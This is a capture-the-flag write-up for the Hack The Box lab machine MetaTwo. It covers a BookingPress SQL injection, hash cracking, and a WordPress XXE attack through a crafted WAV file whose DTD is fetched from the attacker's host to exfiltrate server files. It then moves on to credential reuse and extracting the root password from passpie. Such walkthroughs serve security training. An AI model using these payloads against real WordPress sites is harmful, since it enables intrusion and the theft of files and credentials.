Buy me a tea

Hackthebox - MetaTwo

MetaTwo

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -T4 -sC -O -sV -p- --min-rate=1000 10.10.11.186
[sudo] password for kali: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-10 13:58 EST
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 13:59 (0:00:10 remaining)
Nmap scan report for 10.10.11.186
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp?
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
|   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_  256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.92%I=7%D=11/10%Time=636D4A06%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10
SF:\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cr
SF:eative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creativ
SF:e\r\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/10%OT=21%CT=1%CU=36097%PV=Y%DS=2%DC=I%G=Y%TM=636D4A
OS:D8%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST
OS:11NW7%O6=M539ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 237.72 seconds

Foothold

We change our /etc/hosts files and add this line 10.10.11.186 metapress.htb

Port 80

We browse to http://metapress.htb/ and get this: metapress

This seems to be a wordpress. We can run wpscan:

  • We tried to make a wordlist with cewl from the website but the bruteforce did not work with it so we lauched the bruteforce with rockyou.txt on the 2 found users admin and manager.

  • Bruteforce does not seem to be the way though

CVE 2022 0739

  • Navigating around in the website we find a booking press plugin

  • CVEs associated with it

    • CVE-2022-0739

    • Interesting article here

      • This does not work

  • This PoC for CVE 2022-0739 works CVE 2022 0739

Note: the nonce is a number used once. It is a security token. You can read more about it here. You will need to find yours. I recommend that you intercept traffic with burp and check your nonce this way.

  • We now need to crack the hashes. Wordpress hashes are stored in md5. We can do it with hashcat hashcat -O -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

  • We get the password for manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar

  • Let's connect using it. We do not have much access with this user. Let's check for password reuse.

  • Password does not work on ftp

  • Does not work on ssh either

CVE 2021 29447

  • When analyzing wpscan we had a vulnerability that seemed interesting CVE-2021-29447 for our version of wordpress 5.6.2. This article explains it well.

  • Using this trick we can read files from the server.

  • Here is how I did it in my context

  1. I created the wav file echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.4/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

  2. I created the evil.dtd file. Here is what it contains

  1. I created a decode.php file

  1. I launched the php server php -S 0.0.0.0:80

  2. I uploaded my wav file in the media library

upload wav

  1. I copied the string from the request sent to my server

string

  1. I put it in my php file and went to http://10.10.14.4/decode.php and got the /etc/passwd file we requested.

file decoded /etc/passwd

  • So we have a jnelson user

  • Let's try to find other interesting files. Here is a list

  • PHP version PHP/8.0.24

  • Debian GNU/Linux 11 \n \l

  • nginx/1.18.0

  • Here is the /etc/ssh/ssh_config file

  • file /proc/version

  • file /etc/nginx/nginx.conf

  • File /hom/jnelson/.profile

  • It is also worth checking this website to learn more about nginx and its configuration files

  • It also seems like we have a way to tell if a directory exists.

    • If it does not exist the server gives this output not-exist

    • If it does we get this output exist

  • Using this methodology and the fingerprinting from web server responses and nmap we could find out that the following folders exist

    • /etc/php/8.0/

    • /var/www/ (there are no folder log, logs, html, metapress inside)

    • /var/www/metapress.htb/

    • /etc/nginx/sites-available/

    • /etc/nginx/modules-enabled/

    • /etc/proftpd/

    • /usr/local/etc/

    • /etc/nginx/

    • /etc/nginx/conf.d

    • /home/jnelson/ (there are no folder .ssh in )

    • /usr/sbin/

    • /var/lib/

    • /var/lib/mysql/

    • /var/local/

    • /var/log/

    • /var/log/dpkg.log (its a file that exists but its empty)

    • /var/log/proftpd (its a file that exists but its empty)

    • /var/spool/

    • /var/spool/cron/

    • /srv/

WP Config file

  • I really want to find the wp-config.php. Ok so turns out that the absolute path /var/www/metapress.htb/ did not work what worked was a relative path ../wp-config.php. It looks like that it is because I was missing a part of the absolute path /var/www/metapress.htb/blog/wp-config.php

  • For some reason with the slib the file was truncated so my evil.dtd file looks like this

  • To decode the base64 we can also use bash as follow:

  • And here is the wp-config.php file

FTP

So we have the creds for the FTP server lets login there ftp -p 10.10.11.186 User is metapress.htb and password is 9NYS_ii@FyL_p5M2NvJ If we look around we have the wordress folder but not really inresting. There is a mailer folder though that looks interesting. The SECURITY.md is not really interesting but there is also a php script that looks juicy.

  • We get another password this way. Let's try it on ssh as we know the user jnelson is here because we found their home folder previously

SSH

  • ssh jnelson@metapress.htb the password is Cb4_JmWM8zUZWMu@Ys

  • We can grab the user flag.

Privilege escalation

  • Let's take linpeas right away and enumerate automatically wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64

  • python3 -m http.server 80

  • And in our target wget http://10.10.14.4/linpeas_linux_amd64

  • There were private ssh keys but I would not have guessed the path of the folder when trying to foothold /home/jnelson/.passpie/.keys

  • Apparently passpie is password manager. We can get more info about it here

  • Interesting output from linepeas to analyze further

  • There is are interesting files in jnelson root pass in passpie

  • Here is the output of root.pass

  • The file .keys also seems interesting

  • So I am not able to crack the first key but the second key is crackable

  • Here is how to proceed

  1. We keep the 2nd pgp key in a file so the one ending with =7Uo6

  2. gpg2john pgpkey2 > crackme2we convert it in a john format

  3. We crack it with a wordlist john -w:/usr/share/wordlists/rockyou.txt crackme2

  • We get a password blink182

cracked

  • Let's see how we can use it with passpie to get the root password. Here is the output of the help of passpie

passpie help

  • Ok the help command is not really detailed but with the documentation we can find out the process to get the password.

  1. We create the file in which we will want our password exported to (here I named it exportedpass) touch exportedpass

  2. Then we need to type or command to export the password passpie export exportedpass

  3. Finally we can cat our file exportedpass and we have the root password p7qfAZt4_A1xo_0x

exportedpass

  • We can su root with the new password and get the final flag.

Useful resources

  • https://github.com/motikan2010/CVE-2021-29447

  • https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

  • https://www.exploit-db.com/exploits/39319

PreviousHackthebox - MentorNextHackthebox - Monteverde

Last updated